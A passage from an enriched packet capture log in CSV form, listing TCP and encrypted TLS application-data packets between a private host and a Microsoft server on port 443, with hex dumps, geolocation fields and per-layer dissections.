\"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179543882, \"\"ack\"\": 3179313069, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 58019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02M\\\\x11\\\\xfc\\\\xfb\\\\xde\\\\xf8]Q3\\\\x82\\\\xd4\\\\xd6y&\\\\x9b\\\\xbekg\\\\xbe\\\\x9cv7\\\\xed0\\\\xd9' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:40.979396,41,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3179313069 Ack=4179543920,bc2411360d0cbc24112907bb0800450000284d564000400655b12863ccc20a98980b01bbf9dbbd8077adf91ec7705010003f97e30000,\".$.6\n..$.)....E..(MV@.@.U.(c..\n.........w....pP..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 19798, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21937, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179313069, \"\"ack\"\": 4179543920, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38883, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:40.980865,42,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4179543920 Ack=3179313069,bc24112907bbbc2411360d0c08004500009a13a5400080064ef00a98980b2863ccc2f9db01bbf91ec770bd8077ad501803fedcf70000170303006d0000000000000003c98e0231f9e39cf022a5f3ffb94921e0c1ec0f533c45d192f569965f7ab162bfef05e47abfa81b19925ee866f6cf2dd12364e3bf3fea5ec9bc00cae2771fd72bab0a346fd36db0a740743311326a216bad03ef678b69da7ec865d841f10ddd896aa8b52f22,\".$.)...$.6\n...E.....@...N.\n...(c.........p..w.P...........m...........1....\"\"....I!....S<E...i._z.b....z.....^.f..-.#d..?.^.....w..+.\n4o.m..@t3.2j!k...g.i.~.e.A.\n..j../\"\"\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 154, \"\"id\"\": 5029, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20208, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179543920, \"\"ack\"\": 3179313069, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 56567, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 109, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\xc9\\\\x8e\\\\x021\\\\xf9\\\\xe3\\\\x9c\\\\xf0\\\"\"\\\\xa5\\\\xf3\\\\xff\\\\xb9I!\\\\xe0\\\\xc1\\\\xec\\\\x0fS<E\\\\xd1\\\\x92\\\\xf5i\\\\x96_z\\\\xb1b\\\\xbf\\\\xef\\\\x05\\\\xe4z\\\\xbf\\\\xa8\\\\x1b\\\\x19\\\\x92^\\\\xe8f\\\\xf6\\\\xcf-\\\\xd1#d\\\\xe3\\\\xbf?\\\\xea^\\\\xc9\\\\xbc\\\\x00\\\\xca\\\\xe2w\\\\x1f\\\\xd7+\\\\xab\\\\n4o\\\\xd3m\\\\xb0\\\\xa7@t3\\\\x112j!k\\\\xad\\\\x03\\\\xefg\\\\x8bi\\\\xda~\\\\xc8e\\\\xd8A\\\\xf1\\\\r\\\\xdd\\\\x89j\\\\xa8\\\\xb5/\\\"\"' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:40.980876,43,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3179313069 Ack=4179544034,bc2411360d0cbc24112907bb0800450000284d574000400655b02863ccc20a98980b01bbf9dbbd8077adf91ec7e25010003f97e30000,\".$.6\n..$.)....E..(MW@.@.U.(c..\n.........w.....P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 19799, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21936, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179313069, \"\"ack\"\": 4179544034, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38883, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:42.077957,44,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=3179313069 Ack=4179544034,bc2411360d0cbc24112907bb0800450004a24d584000400651352863ccc20a98980b01bbf9dbbd8077adf91ec7e25018003f9c5d0000170303002100000000000000022f1865e34c698e744ee93eca16a8a2c7336f770dcd0385300117030303550000000000000003759a44c18f5eec4c3e424074f4dd59a4c5643cf8d4b2b8face96bcd13825a8ca28c69b6777bd3a58a292cd9198302e4e6fc319493b05440a556745cc93bf0e0f338621ce25bbc21600114524b4d06558eda1aa5151ac919902f19d394200b417934fce713a45230aa4e117fecbe55e111be2cd465d97d93390eff374a9d0f5373830e1790ad60d23a6b798e0b36b416b64068085ca281600deb7d04789fa4dfb4a517fccf3d2b6f49dba18fdd69b9abb94a8994fd12ae8b0b41c9cc3d7b368aafda537526d5c3bce736986ced027bc03c72c8722749ad5bf03b2d992839f87e23735664be6a99d9bf2f2397afed7d3bf47587580b16fcb1b5bfe253e922ae3f5f30de795fa62ce6175a43249da57666d47b1577be9a096bee8f7a7cfee0b58b01bbf8d1106bb81b41759ae7ca2089e148f4ed613cb2905c0fec2d49a3e259742eeae0f29e39a3892f9a6c45d9c3bb89d3ea5f0973ced1faf2e1164676d33184fbd4641d32092a4c70c47bd1f3ac9f2b884703c0dc290fd40670acbc12ff8edd73f1f75aaeed6de03497233cca5f43a634173b8c5d4d3eaab477d7e5678a0bc2fca6639bb2976cd0875debdb0824aea09617d5db48e5dd6482396b2e386c705fea47abcf1556fe9a0fe8031794ad3ca628d4cc658d88e44560674bc31831ce30b2d9ad13aafe6422ab9f0c964ad306e1c312b38af8a31e5a2e20f549eab7bb804fbe9e3883d76491533f6700850b0302520871d720d61c1c35f6d2748732d1c66fe65b3468718ab8b29348e950ddf9b7878b77ce8946e853e3cea617a582c3a28bd761ecc6593da3a871e1223ad16c6045eec017469a0e67d485f45cc40aa5ef7bddd6d8dc046e48629ffe851b8d8036131ac446b270dc0a84f5b45c9c459518427f55c30644e2024898df1be02b70d7c5b06af8ffb985834c596659e0e0636b7d7a8ba2f381df3e13252928f19024005140a6b3dd454496c32f5f4e8c4e00b87259e793ba0d485f99159bbaf86c496c23a4e37376cd066b3cdbf1a70591557b84e49c11f118006826d4ce5e93fcfc5001a860c84c3d68e99e9e573da983bf5b4dbc638c4bea6cf063f13f6b77e3307eac4e60305a67094b3887936b4417fe9db107571bf106c85d2c845e652b4e4face2db2206ca682fd3384089756e7bfd77c31a850cb29e1e5284803a2e16b17030300cf0000000000000004781837de883f43c6d87cea776a0cb485d84da6398609f00412b87abd20f4227223465ca9217b4c8f63fa48b7d7e7b66890f7cda3b196503627d820ea3fe6871dd329f6786525e726b4d1463a29edd7b89ef143f785bb3a04f64919c2194f5cce6102b9a1ca521a8f65c209174017f3d16282d4c7c2c9f76e3cede22519a1b2021d55b5259bd355f1968a6455c4ba681233df05ecb29a9e7693cc55cf19e4afa4cf3ea5d44560045c640b39a8ef0537b9df767e5131fb307d92a9eb3dff21a3763cce4a9380b1c81703030021000000000000000536ba61ad704f930e19aaf85ac585c2ba346a3866b72cf65be2,\".$.6\n..$.)....E...MX@.@.Q5(c..\n.........w.....P..?.]......!......../.e.Li.tN.>.....3ow\n...0.....U........u.D..^.L>B@t..Y..d<.........8%..(..gw.:X.....0.No..I;.D\nUgE.....3.!.%.....E$..eX...QQ......9B....O.q:E#\n......^....F]..3...t...780.y\n.\n#.....kAkd....(.....G..M.JQ.................O.*........h...7Rm\\;.si...'...,.\"\"t...........75fK......9z....GXu..o..[.%>.*...\n...b.au.2I.WfmG.W{..........X..........Y.|.....N...)......>%.B...)..8....].;..>...<.....dgm3.O.FA. ....G..:....p<\n...@g\n../...?.u.....Ir3...:cAs......G}~Vx../.f9.)v..u....J.\ta}]..].H#........z..Uo....1yJ..b.L.X..DV.t.1....-..:..B*...d.0n.1+8..1....T..{......=vI.3.p.P.0% ..r\na.._m'Hs-.f.e.F....)4..\n..xx.|..n.><.azX,:(.v..e..:...#....^..ti..}H_E.@.^...m..F..)..Q...a1.Dk'\n..O[E..YQ.'.\\0dN $......\n|[.....X4..e...6..../8...2R....@..\nk=.TIl2.......%.y;.....Y......:N77l.f....pY.W.NI......mL..?.............s..;....8.....?...~3.......p...y6.A....uq..l...E.R....-. l...3...V...|1.P.)..(H...k.............x.7..?C..|.wj....M.9.\t....z. .\"\"r#F\\.!{L.c.H....h......P6'. .?....).xe%.&..F:).....C...:..I...O\\.a....R..e.\t.@...b......n<..%.....U.%..U...dU..h.3......v..U......>..E`.\\d.9...7..v~Q1.0}...=.!.v<.J........!........6.a.pO.....Z....4j8f.,.[.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1186, \"\"id\"\": 19800, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20789, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179313069, \"\"ack\"\": 4179544034, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 40029, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02/\\\\x18e\\\\xe3Li\\\\x8etN\\\\xe9>\\\\xca\\\\x16\\\\xa8\\\\xa2\\\\xc73ow\\\\r\\\\xcd\\\\x03\\\\x850\\\\x01' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 853, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03u\\\\x9aD\\\\xc1\\\\x8f^\\\\xecL>B@t\\\\xf4\\\\xddY\\\\xa4\\\\xc5d<\\\\xf8\\\\xd4\\\\xb2\\\\xb8\\\\xfa\\\\xce\\\\x96\\\\xbc\\\\xd18%\\\\xa8\\\\xca(\\\\xc6\\\\x9bgw\\\\xbd:X\\\\xa2\\\\x92\\\\xcd\\\\x91\\\\x980.No\\\\xc3\\\\x19I;\\\\x05D\\\\nUgE\\\\xcc\\\\x93\\\\xbf\\\\x0e\\\\x0f3\\\\x86!\\\\xce%\\\\xbb\\\\xc2\\\\x16\\\\x00\\\\x11E$\\\\xb4\\\\xd0eX\\\\xed\\\\xa1\\\\xaaQQ\\\\xac\\\\x91\\\\x99\\\\x02\\\\xf1\\\\x9d9B\\\\x00\\\\xb4\\\\x17\\\\x93O\\\\xceq:E#\\\\n\\\\xa4\\\\xe1\\\\x17\\\\xfe\\\\xcb\\\\xe5^\\\\x11\\\\x1b\\\\xe2\\\\xcdF]\\\\x97\\\\xd93\\\\x90\\\\xef\\\\xf3t\\\\xa9\\\\xd0\\\\xf5780\\\\xe1y\\\\n\\\\xd6\\\\r#\\\\xa6\\\\xb7\\\\x98\\\\xe0\\\\xb3kAkd\\\\x06\\\\x80\\\\x85\\\\xca(\\\\x16\\\\x00\\\\xde\\\\xb7\\\\xd0G\\\\x89\\\\xfaM\\\\xfbJQ\\\\x7f\\\\xcc\\\\xf3\\\\xd2\\\\xb6\\\\xf4\\\\x9d\\\\xba\\\\x18\\\\xfd\\\\xd6\\\\x9b\\\\x9a\\\\xbb\\\\x94\\\\xa8\\\\x99O\\\\xd1*\\\\xe8\\\\xb0\\\\xb4\\\\x1c\\\\x9c\\\\xc3\\\\xd7\\\\xb3h\\\\xaa\\\\xfd\\\\xa57Rm\\\\\\\\;\\\\xcesi\\\\x86\\\\xce\\\\xd0\\\\'\\\\xbc\\\\x03\\\\xc7,\\\\x87\\\"\"t\\\\x9a\\\\xd5\\\\xbf\\\\x03\\\\xb2\\\\xd9\\\\x92\\\\x83\\\\x9f\\\\x87\\\\xe275fK\\\\xe6\\\\xa9\\\\x9d\\\\x9b\\\\xf2\\\\xf29z\\\\xfe\\\\xd7\\\\xd3\\\\xbfGXu\\\\x80\\\\xb1o\\\\xcb\\\\x1b[\\\\xfe%>\\\\x92*\\\\xe3\\\\xf5\\\\xf3\\\\r\\\\xe7\\\\x95\\\\xfab\\\\xceau\\\\xa42I\\\\xdaWfmG\\\\xb1W{\\\\xe9\\\\xa0\\\\x96\\\\xbe\\\\xe8\\\\xf7\\\\xa7\\\\xcf\\\\xee\\\\x0bX\\\\xb0\\\\x1b\\\\xbf\\\\x8d\\\\x11\\\\x06\\\\xbb\\\\x81\\\\xb4\\\\x17Y\\\\xae|\\\\xa2\\\\x08\\\\x9e\\\\x14\\\\x8fN\\\\xd6\\\\x13\\\\xcb)\\\\x05\\\\xc0\\\\xfe\\\\xc2\\\\xd4\\\\x9a>%\\\\x97B\\\\xee\\\\xae\\\\x0f)\\\\xe3\\\\x9a8\\\\x92\\\\xf9\\\\xa6\\\\xc4]\\\\x9c;\\\\xb8\\\\x9d>\\\\xa5\\\\xf0\\\\x97<\\\\xed\\\\x1f\\\\xaf.\\\\x11dgm3\\\\x18O\\\\xbdFA\\\\xd3 \\\\x92\\\\xa4\\\\xc7\\\\x0cG\\\\xbd\\\\x1f:\\\\xc9\\\\xf2\\\\xb8\\\\x84p<\\\\r\\\\xc2\\\\x90\\\\xfd@g\\\\n\\\\xcb\\\\xc1/\\\\xf8\\\\xed\\\\xd7?\\\\x1fu\\\\xaa\\\\xee\\\\xd6\\\\xde\\\\x03Ir3\\\\xcc\\\\xa5\\\\xf4:cAs\\\\xb8\\\\xc5\\\\xd4\\\\xd3\\\\xea\\\\xabG}~Vx\\\\xa0\\\\xbc/\\\\xcaf9\\\\xbb)v\\\\xcd\\\\x08u\\\\xde\\\\xbd\\\\xb0\\\\x82J\\\\xea\\\\ta}]\\\\xb4\\\\x8e]\\\\xd6H#\\\\x96\\\\xb2\\\\xe3\\\\x86\\\\xc7\\\\x05\\\\xfe\\\\xa4z\\\\xbc\\\\xf1Uo\\\\xe9\\\\xa0\\\\xfe\\\\x801yJ\\\\xd3\\\\xcab\\\\x8dL\\\\xc6X\\\\xd8\\\\x8eDV\\\\x06t\\\\xbc1\\\\x83\\\\x1c\\\\xe3\\\\x0b-\\\\x9a\\\\xd1:\\\\xaf\\\\xe6B*\\\\xb9\\\\xf0\\\\xc9d\\\\xad0n\\\\x1c1+8\\\\xaf\\\\x8a1\\\\xe5\\\\xa2\\\\xe2\\\\x0fT\\\\x9e\\\\xab{\\\\xb8\\\\x04\\\\xfb\\\\xe9\\\\xe3\\\\x88=vI\\\\x153\\\\xf6p\\\\x08P\\\\xb00% \\\\x87\\\\x1dr\\\\ra\\\\xc1\\\\xc3_m\\\\'Hs-\\\\x1cf\\\\xfee\\\\xb3F\\\\x87\\\\x18\\\\xab\\\\x8b)4\\\\x8e\\\\x95\\\\r\\\\xdf\\\\x9bxx\\\\xb7|\\\\xe8\\\\x94n\\\\x85><\\\\xeaazX,:(\\\\xbdv\\\\x1e\\\\xcce\\\\x93\\\\xda:\\\\x87\\\\x1e\\\\x12#\\\\xad\\\\x16\\\\xc6\\\\x04^\\\\xec\\\\x01ti\\\\xa0\\\\xe6}H_E\\\\xcc@\\\\xaa^\\\\xf7\\\\xbd\\\\xddm\\\\x8d\\\\xc0F\\\\xe4\\\\x86)\\\\xff\\\\xe8Q\\\\xb8\\\\xd8\\\\x03a1\\\\xacDk\\\\'\\\\r\\\\xc0\\\\xa8O[E\\\\xc9\\\\xc4YQ\\\\x84\\\\'\\\\xf5\\\\\\\\0dN $\\\\x89\\\\x8d\\\\xf1\\\\xbe\\\\x02\\\\xb7\\\\r|[\\\\x06\\\\xaf\\\\x8f\\\\xfb\\\\x98X4\\\\xc5\\\\x96e\\\\x9e\\\\x0e\\\\x066\\\\xb7\\\\xd7\\\\xa8\\\\xba/8\\\\x1d\\\\xf3\\\\xe12R\\\\x92\\\\x8f\\\\x19\\\\x02@\\\\x05\\\\x14\\\\nk=\\\\xd4TIl2\\\\xf5\\\\xf4\\\\xe8\\\\xc4\\\\xe0\\\\x0b\\\\x87%\\\\x9ey;\\\\xa0\\\\xd4\\\\x85\\\\xf9\\\\x91Y\\\\xbb\\\\xaf\\\\x86\\\\xc4\\\\x96\\\\xc2:N77l\\\\xd0f\\\\xb3\\\\xcd\\\\xbf\\\\x1apY\\\\x15W\\\\xb8NI\\\\xc1\\\\x1f\\\\x11\\\\x80\\\\x06\\\\x82mL\\\\xe5\\\\xe9?\\\\xcf\\\\xc5\\\\x00\\\\x1a\\\\x86\\\\x0c\\\\x84\\\\xc3\\\\xd6\\\\x8e\\\\x99\\\\xe9\\\\xe5s\\\\xda\\\\x98;\\\\xf5\\\\xb4\\\\xdb\\\\xc68\\\\xc4\\\\xbe\\\\xa6\\\\xcf\\\\x06?\\\\x13\\\\xf6\\\\xb7~3\\\\x07\\\\xea\\\\xc4\\\\xe6\\\\x03\\\\x05\\\\xa6p\\\\x94\\\\xb3\\\\x88y6\\\\xb4A\\\\x7f\\\\xe9\\\\xdb\\\\x10uq\\\\xbf\\\\x10l\\\\x85\\\\xd2\\\\xc8E\\\\xe6R\\\\xb4\\\\xe4\\\\xfa\\\\xce-\\\\xb2 l\\\\xa6\\\\x82\\\\xfd3\\\\x84\\\\x08\\\\x97V\\\\xe7\\\\xbf\\\\xd7|1\\\\xa8P\\\\xcb)\\\\xe1\\\\xe5(H\\\\x03\\\\xa2\\\\xe1k' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 207, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04x\\\\x187\\\\xde\\\\x88?C\\\\xc6\\\\xd8|\\\\xeawj\\\\x0c\\\\xb4\\\\x85\\\\xd8M\\\\xa69\\\\x86\\\\t\\\\xf0\\\\x04\\\\x12\\\\xb8z\\\\xbd \\\\xf4\\\"\"r#F\\\\\\\\\\\\xa9!{L\\\\x8fc\\\\xfaH\\\\xb7\\\\xd7\\\\xe7\\\\xb6h\\\\x90\\\\xf7\\\\xcd\\\\xa3\\\\xb1\\\\x96P6\\\\'\\\\xd8 \\\\xea?\\\\xe6\\\\x87\\\\x1d\\\\xd3)\\\\xf6xe%\\\\xe7&\\\\xb4\\\\xd1F:)\\\\xed\\\\xd7\\\\xb8\\\\x9e\\\\xf1C\\\\xf7\\\\x85\\\\xbb:\\\\x04\\\\xf6I\\\\x19\\\\xc2\\\\x19O\\\\\\\\\\\\xcea\\\\x02\\\\xb9\\\\xa1\\\\xcaR\\\\x1a\\\\x8fe\\\\xc2\\\\t\\\\x17@\\\\x17\\\\xf3\\\\xd1b\\\\x82\\\\xd4\\\\xc7\\\\xc2\\\\xc9\\\\xf7n<\\\\xed\\\\xe2%\\\\x19\\\\xa1\\\\xb2\\\\x02\\\\x1dU\\\\xb5%\\\\x9b\\\\xd3U\\\\xf1\\\\x96\\\\x8adU\\\\xc4\\\\xbah\\\\x123\\\\xdf\\\\x05\\\\xec\\\\xb2\\\\x9a\\\\x9ev\\\\x93\\\\xccU\\\\xcf\\\\x19\\\\xe4\\\\xaf\\\\xa4\\\\xcf>\\\\xa5\\\\xd4E`\\\\x04\\\\\\\\d\\\\x0b9\\\\xa8\\\\xef\\\\x057\\\\xb9\\\\xdfv~Q1\\\\xfb0}\\\\x92\\\\xa9\\\\xeb=\\\\xff!\\\\xa3v<\\\\xceJ\\\\x93\\\\x80\\\\xb1\\\\xc8' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x056\\\\xbaa\\\\xadpO\\\\x93\\\\x0e\\\\x19\\\\xaa\\\\xf8Z\\\\xc5\\\\x85\\\\xc2\\\\xba4j8f\\\\xb7,\\\\xf6[\\\\xe2' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:42.078324,45,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=4179544034 Ack=3179314215,bc24112907bbbc2411360d0c08004500002813a6400080064f610a98980b2863ccc2f9db01bbf91ec7e2bd807c27501004001dcb0000,\".$.)...$.6\n...E..(..@...Oa\n...(c............|'P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5030, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20321, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179544034, \"\"ack\"\": 3179314215, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 7627, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:42.079644,46,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4179544034 Ack=3179314215,bc24112907bbbc2411360d0c08004500006813a7400080064f200a98980b2863ccc2f9db01bbf91ec7e2bd807c275018040033080000170303003b0000000000000004e642035b60386587148c7a9b646277831c7f44dbdfe7e5a1dfd9c9744c47cbdd7ef5d27a68e68415324dba06137ca5ec17a579,\".$.)...$.6\n...E..h..@...O \n...(c............|'P...3.......;.........B.[`8e...z.dbw...D........tLG..~..zh...2M...|....y\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 104, \"\"id\"\": 5031, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20256, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179544034, \"\"ack\"\": 3179314215, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 13064, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  